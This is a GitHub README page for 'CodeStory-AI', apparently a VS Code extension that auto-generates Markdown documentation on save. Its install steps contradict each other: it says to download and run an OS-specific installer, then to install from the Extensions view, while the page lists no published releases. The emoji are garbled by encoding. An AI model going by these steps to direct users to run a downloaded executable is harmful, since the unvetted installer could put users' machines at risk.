Skip to content

πŸ“š Automate your code documentation with CodeStory AI, an intelligent VS Code extension that keeps your project well-documented and up-to-date effortlessly.

License

Notifications You must be signed in to change notification settings

Dada-papa/CodeStory-AI

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸš€ CodeStory-AI - Automate Your Documentation Effortlessly

Download CodeStory-AI

πŸ“– About CodeStory-AI

CodeStory AI is an intelligent VS Code extension that automates the creation of internal documentation for your code. It seamlessly generates documentation every time you save, ensuring your project's knowledge base is always current.

πŸ”‘ Features

  • Automatic Documentation: Automatically create documentation without lifting a finger every time you save your code.
  • Markdown Support: Generate clean and organized Markdown documentation that you can easily read and share.
  • Real-Time Updates: Keep your documentation up-to-date as you code.
  • Easy to Use: Designed for all users, regardless of coding experience.

πŸ”§ System Requirements

  • Operating System: Windows, macOS, or Linux
  • VS Code Version: 1.50 or higher
  • Storage Space: At least 50 MB of free disk space

πŸš€ Getting Started

  1. Visit the Releases Page: To download CodeStory-AI, visit this page: Download CodeStory-AI.
  2. Select the Latest Release: Look for the most recent version at the top of the page.
  3. Download the Installer: Click on the file that matches your operating system to start the download.
  4. Run the Installer: Once the download completes, locate the file in your downloads folder and double-click it to start the installation.

πŸ“₯ Download & Install

To get started quickly, click the button below to download the latest version of CodeStory-AI.

Download CodeStory-AI

  1. After downloading, run the installer.
  2. Follow the prompts to complete the installation.
  3. Open Visual Studio Code.
  4. Search for "CodeStory-AI" in the Extensions view.
  5. Click "Install" to add the extension to your VS Code.

βš™οΈ How to Use

  1. Enable Auto Documentation: Once installed, the extension runs automatically.
  2. Open Your Project: Start coding in your project as usual.
  3. Save Your Files: Each time you save, CodeStory-AI generates or updates your documentation.

✨ Customization

You can customize various settings to fit your workflow. Go to the VS Code settings and search for "CodeStory-AI" to find options related to documentation formats or enabling/disabling features.

πŸ’¬ Support & Feedback

If you encounter any issues or have suggestions, please visit our GitHub Issues page. Your feedback helps us improve.

🌍 Topics

  • ai
  • automatic-documentation
  • code-documentation
  • codestory
  • developer-tools
  • docs-generator
  • documentation
  • gemini
  • markdown
  • ollama
  • productivity
  • vertex-ai

For more updates and insights, keep an eye on our repository! Thank you for using CodeStory-AI.

About

πŸ“š Automate your code documentation with CodeStory AI, an intelligent VS Code extension that keeps your project well-documented and up-to-date effortlessly.

Topics

Resources

License

Code of conduct

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •